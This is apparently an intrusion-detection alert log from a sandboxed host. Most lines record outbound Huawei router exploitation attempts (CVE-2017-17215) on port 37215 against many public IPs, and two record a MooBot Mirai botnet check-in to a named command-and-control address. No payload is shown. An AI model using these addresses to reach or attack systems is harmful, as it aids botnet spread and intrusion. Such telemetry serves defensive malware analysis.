2024-08-01T15:35:16.696501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54608	37215	192.168.2.14	103.20.177.119
2024-08-01T15:34:58.165206+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48580	37215	192.168.2.14	63.87.52.92
2024-08-01T15:35:50.298982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55518	37215	192.168.2.14	41.240.141.229
2024-08-01T15:35:00.374890+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52726	37215	192.168.2.14	197.159.91.59
2024-08-01T15:36:09.901185+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33190	37215	192.168.2.14	70.109.69.243
2024-08-01T15:36:24.453989+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40832	37215	192.168.2.14	41.180.55.106
2024-08-01T15:37:00.171568+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46230	37215	192.168.2.14	197.20.171.118
2024-08-01T15:36:24.810205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39250	37215	192.168.2.14	197.62.53.56
2024-08-01T15:34:59.840043+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44792	37215	192.168.2.14	107.149.239.1
2024-08-01T15:35:20.209901+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60948	37215	192.168.2.14	41.18.157.111
2024-08-01T15:36:48.412176+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39292	37215	192.168.2.14	41.103.131.82
2024-08-01T15:35:20.574997+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58116	37215	192.168.2.14	197.16.114.102
2024-08-01T15:35:33.068635+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44978	37215	192.168.2.14	197.34.131.7
2024-08-01T15:35:37.221035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55522	37215	192.168.2.14	197.28.235.198
2024-08-01T15:35:23.849355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57890	37215	192.168.2.14	57.81.121.191
2024-08-01T15:35:16.318658+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46340	37215	192.168.2.14	41.15.250.54
2024-08-01T15:35:20.216348+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50448	37215	192.168.2.14	41.4.254.184
2024-08-01T15:35:18.612682+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38364	37215	192.168.2.14	41.173.241.119
2024-08-01T15:35:20.207169+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36162	37215	192.168.2.14	197.69.41.146
2024-08-01T15:35:21.855145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38882	37215	192.168.2.14	157.37.144.15
2024-08-01T15:36:57.625209+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56172	37215	192.168.2.14	115.52.97.39
2024-08-01T15:35:26.041943+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59272	37215	192.168.2.14	157.101.236.112
2024-08-01T15:36:49.652487+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60352	37215	192.168.2.14	149.126.144.6
2024-08-01T15:35:53.373708+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39232	37215	192.168.2.14	41.90.93.222
2024-08-01T15:36:57.576623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33536	37215	192.168.2.14	120.109.32.212
2024-08-01T15:35:56.762359+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41766	37215	192.168.2.14	65.112.129.34
2024-08-01T15:36:26.858083+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54096	37215	192.168.2.14	41.45.65.180
2024-08-01T15:35:20.545641+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47536	37215	192.168.2.14	157.32.51.249
2024-08-01T15:36:22.455847+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47498	37215	192.168.2.14	157.35.95.230
2024-08-01T15:35:35.123615+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47258	37215	192.168.2.14	41.52.45.251
2024-08-01T15:35:21.867851+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39342	37215	192.168.2.14	197.102.197.145
2024-08-01T15:36:56.015182+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41854	37215	192.168.2.14	157.199.232.26
2024-08-01T15:35:17.252737+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44292	37215	192.168.2.14	157.26.48.200
2024-08-01T15:35:20.210835+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43474	37215	192.168.2.14	41.98.222.243
2024-08-01T15:35:58.640375+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57086	37215	192.168.2.14	197.94.155.132
2024-08-01T15:35:20.206379+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41148	37215	192.168.2.14	41.168.230.58
2024-08-01T15:35:35.124041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33214	37215	192.168.2.14	183.167.201.181
2024-08-01T15:35:45.277608+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42924	37215	192.168.2.14	157.18.82.93
2024-08-01T15:36:26.665332+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37600	37215	192.168.2.14	157.118.180.125
2024-08-01T15:36:52.650025+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54316	37215	192.168.2.14	197.163.97.74
2024-08-01T15:37:00.230123+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43200	37215	192.168.2.14	41.185.154.125
2024-08-01T15:35:20.209983+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49210	37215	192.168.2.14	186.22.144.161
2024-08-01T15:36:30.755572+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59202	37215	192.168.2.14	41.157.128.134
2024-08-01T15:35:17.241862+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59494	37215	192.168.2.14	157.98.235.131
2024-08-01T15:35:48.348230+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48176	37215	192.168.2.14	197.194.8.222
2024-08-01T15:36:09.911973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57422	37215	192.168.2.14	88.77.152.50
2024-08-01T15:36:42.161419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50848	37215	192.168.2.14	41.108.76.211
2024-08-01T15:35:53.373110+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38594	37215	192.168.2.14	205.104.95.148
2024-08-01T15:36:22.338310+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34728	37215	192.168.2.14	41.149.203.27
2024-08-01T15:35:17.231311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37950	37215	192.168.2.14	210.95.223.139
2024-08-01T15:35:32.996390+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54846	37215	192.168.2.14	41.195.176.219
2024-08-01T15:35:37.234039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46602	37215	192.168.2.14	41.37.35.13
2024-08-01T15:36:29.089562+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39504	37215	192.168.2.14	41.34.81.3
2024-08-01T15:35:20.205015+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45678	37215	192.168.2.14	210.206.245.32
2024-08-01T15:35:21.828239+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42748	37215	192.168.2.14	157.194.230.216
2024-08-01T15:36:57.561591+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40996	37215	192.168.2.14	157.167.62.213
2024-08-01T15:35:56.797154+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41976	37215	192.168.2.14	157.189.16.3
2024-08-01T15:36:36.961528+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60062	37215	192.168.2.14	41.16.227.15
2024-08-01T15:36:48.402059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50556	37215	192.168.2.14	41.67.75.163
2024-08-01T15:36:14.810575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49632	37215	192.168.2.14	197.71.251.63
2024-08-01T15:36:24.481972+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57410	37215	192.168.2.14	157.30.62.231
2024-08-01T15:36:42.270129+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37330	37215	192.168.2.14	197.88.13.83
2024-08-01T15:35:17.054014+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37804	37215	192.168.2.14	157.84.81.43
2024-08-01T15:35:53.373794+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39810	37215	192.168.2.14	197.98.170.35
2024-08-01T15:36:06.736241+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33456	37215	192.168.2.14	41.46.155.67
2024-08-01T15:35:20.206809+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43630	37215	192.168.2.14	157.86.186.82
2024-08-01T15:36:06.899079+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33986	37215	192.168.2.14	197.232.233.196
2024-08-01T15:35:21.921532+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39734	37215	192.168.2.14	197.218.203.70
2024-08-01T15:35:17.250906+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35070	37215	192.168.2.14	41.95.168.143
2024-08-01T15:35:20.575001+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53748	37215	192.168.2.14	41.74.231.89
2024-08-01T15:35:33.737001+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	45852	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:45.279017+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53730	37215	192.168.2.14	157.253.40.125
2024-08-01T15:36:29.402729+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54398	37215	192.168.2.14	41.138.137.247
2024-08-01T15:35:20.206723+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33542	37215	192.168.2.14	111.219.90.142
2024-08-01T15:36:55.995935+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43832	37215	192.168.2.14	41.12.127.228
2024-08-01T15:37:00.082161+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39486	37215	192.168.2.14	76.105.179.190
2024-08-01T15:36:15.121051+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41794	37215	192.168.2.14	41.185.192.198
2024-08-01T15:36:34.856564+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46878	37215	192.168.2.14	41.228.42.86
2024-08-01T15:36:39.486579+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39056	37215	192.168.2.14	197.114.89.4
2024-08-01T15:36:09.860098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55344	37215	192.168.2.14	206.62.100.47
2024-08-01T15:36:18.242524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43786	37215	192.168.2.14	197.128.161.167
2024-08-01T15:35:02.455065+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44912	37215	192.168.2.14	60.130.244.9
2024-08-01T15:36:32.777794+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47448	37215	192.168.2.14	41.97.186.175
2024-08-01T15:36:53.920151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52016	37215	192.168.2.14	41.197.199.214
2024-08-01T15:35:50.267009+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52006	37215	192.168.2.14	121.199.19.86
2024-08-01T15:36:06.683260+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37904	37215	192.168.2.14	197.47.197.159
2024-08-01T15:35:56.655082+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48756	37215	192.168.2.14	41.31.72.79
2024-08-01T15:35:45.284002+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51430	37215	192.168.2.14	31.62.8.174
2024-08-01T15:36:09.865091+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33416	37215	192.168.2.14	31.200.234.13
2024-08-01T15:35:20.206170+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51796	37215	192.168.2.14	157.67.94.230
2024-08-01T15:36:11.951037+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60664	37215	192.168.2.14	41.215.31.178
2024-08-01T15:36:14.943222+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49758	37215	192.168.2.14	197.172.37.42
2024-08-01T15:36:36.961872+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36800	37215	192.168.2.14	197.232.25.223
2024-08-01T15:36:36.950526+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36830	37215	192.168.2.14	157.135.211.170
2024-08-01T15:36:42.176750+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38358	37215	192.168.2.14	9.109.174.87
2024-08-01T15:36:49.661871+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35444	37215	192.168.2.14	197.141.82.64
2024-08-01T15:34:59.918455+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49764	37215	192.168.2.14	197.6.247.128
2024-08-01T15:35:21.919398+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47156	37215	192.168.2.14	105.165.63.7
2024-08-01T15:36:48.407965+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34750	37215	192.168.2.14	88.152.64.221
2024-08-01T15:35:16.404083+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36864	37215	192.168.2.14	60.255.178.57
2024-08-01T15:35:16.493133+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59474	37215	192.168.2.14	197.13.177.97
2024-08-01T15:36:22.369394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46400	37215	192.168.2.14	197.25.200.158
2024-08-01T15:36:34.857195+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35570	37215	192.168.2.14	34.231.150.121
2024-08-01T15:35:16.777686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35948	37215	192.168.2.14	191.150.229.72
2024-08-01T15:35:20.203524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42852	37215	192.168.2.14	197.194.38.163
2024-08-01T15:35:21.928438+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51884	37215	192.168.2.14	41.200.234.185
2024-08-01T15:36:14.843404+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56434	37215	192.168.2.14	158.187.51.209
2024-08-01T15:35:53.664163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46590	37215	192.168.2.14	197.146.16.123
2024-08-01T15:35:43.353779+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58084	37215	192.168.2.14	41.181.86.238
2024-08-01T15:34:54.886055+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	35358	56999	192.168.2.14	103.238.235.163
2024-08-01T15:36:40.246355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60608	37215	192.168.2.14	96.69.179.162
2024-08-01T15:36:32.811999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47960	37215	192.168.2.14	157.27.81.206
2024-08-01T15:36:22.353166+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40986	37215	192.168.2.14	157.204.160.167
2024-08-01T15:36:06.711985+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60564	37215	192.168.2.14	221.81.46.24
2024-08-01T15:36:51.776710+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41484	37215	192.168.2.14	208.22.20.29
2024-08-01T15:35:16.761982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55460	37215	192.168.2.14	123.236.6.145
2024-08-01T15:36:06.683129+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52826	37215	192.168.2.14	197.187.140.88
2024-08-01T15:35:21.932370+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60978	37215	192.168.2.14	197.170.85.99
2024-08-01T15:35:16.901670+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35596	37215	192.168.2.14	197.64.45.114
2024-08-01T15:36:26.571187+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52982	37215	192.168.2.14	160.82.19.94
2024-08-01T15:36:28.684105+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59898	37215	192.168.2.14	111.246.162.39
2024-08-01T15:35:56.488787+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55676	37215	192.168.2.14	41.211.62.88
2024-08-01T15:35:20.209807+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41916	37215	192.168.2.14	197.104.130.27
2024-08-01T15:35:16.906032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40226	37215	192.168.2.14	157.206.8.180
2024-08-01T15:35:43.385801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37568	37215	192.168.2.14	157.232.103.108
2024-08-01T15:35:48.348054+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56286	37215	192.168.2.14	168.153.234.226
2024-08-01T15:36:22.339158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58684	37215	192.168.2.14	194.54.136.89
2024-08-01T15:35:21.911796+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44908	37215	192.168.2.14	211.54.101.57
2024-08-01T15:36:53.686920+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44862	37215	192.168.2.14	157.177.199.195
2024-08-01T15:35:48.349549+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47286	37215	192.168.2.14	41.198.2.149
2024-08-01T15:35:20.208996+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49672	37215	192.168.2.14	157.153.88.99
2024-08-01T15:36:24.448750+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59988	37215	192.168.2.14	204.190.84.86
2024-08-01T15:35:21.838319+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60006	37215	192.168.2.14	157.154.25.224
2024-08-01T15:35:37.210135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40352	37215	192.168.2.14	41.121.195.207
2024-08-01T15:36:22.326100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37598	37215	192.168.2.14	41.123.133.251
2024-08-01T15:36:39.213679+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49530	37215	192.168.2.14	110.244.88.165
2024-08-01T15:36:22.387830+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59230	37215	192.168.2.14	157.167.99.185
2024-08-01T15:36:42.176795+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60336	37215	192.168.2.14	157.179.145.5
2024-08-01T15:35:35.138631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36594	37215	192.168.2.14	157.41.79.22
2024-08-01T15:35:20.545850+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34082	37215	192.168.2.14	157.219.98.19
2024-08-01T15:35:17.170777+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51300	37215	192.168.2.14	157.118.102.239
2024-08-01T15:36:03.805311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41144	37215	192.168.2.14	123.7.111.234
2024-08-01T15:35:20.209381+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50350	37215	192.168.2.14	130.47.155.129
2024-08-01T15:35:16.341235+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43924	37215	192.168.2.14	197.82.231.104
2024-08-01T15:35:21.928446+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42992	37215	192.168.2.14	78.144.226.163
2024-08-01T15:36:06.715745+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60944	37215	192.168.2.14	41.41.142.167
2024-08-01T15:35:20.206260+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58400	37215	192.168.2.14	157.143.230.35
2024-08-01T15:36:09.903265+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59182	37215	192.168.2.14	41.235.99.1
2024-08-01T15:35:20.216295+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45634	37215	192.168.2.14	41.64.157.89
2024-08-01T15:35:20.205875+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37294	37215	192.168.2.14	193.62.208.172
2024-08-01T15:35:21.880970+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50318	37215	192.168.2.14	157.234.135.198
2024-08-01T15:35:37.222091+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56154	37215	192.168.2.14	197.165.89.19
2024-08-01T15:35:50.297757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53698	37215	192.168.2.14	41.55.58.149
2024-08-01T15:35:40.241227+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58678	37215	192.168.2.14	157.146.235.2
2024-08-01T15:36:09.885165+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45014	37215	192.168.2.14	197.158.87.27
2024-08-01T15:35:20.207714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58682	37215	192.168.2.14	115.207.220.252
2024-08-01T15:35:21.863419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48510	37215	192.168.2.14	107.219.166.209
2024-08-01T15:35:37.198101+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52496	37215	192.168.2.14	197.190.192.177
2024-08-01T15:35:16.856037+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39252	37215	192.168.2.14	57.64.230.60
2024-08-01T15:35:21.876317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38032	37215	192.168.2.14	118.192.63.141
2024-08-01T15:36:32.990799+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59738	37215	192.168.2.14	41.249.183.250
2024-08-01T15:36:01.671172+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48414	37215	192.168.2.14	157.5.24.36
2024-08-01T15:36:20.309838+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36036	37215	192.168.2.14	157.204.235.201
2024-08-01T15:36:09.902155+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38242	37215	192.168.2.14	41.123.244.235
2024-08-01T15:36:20.311247+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54066	37215	192.168.2.14	157.9.142.252
2024-08-01T15:35:21.874052+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41082	37215	192.168.2.14	197.207.234.50
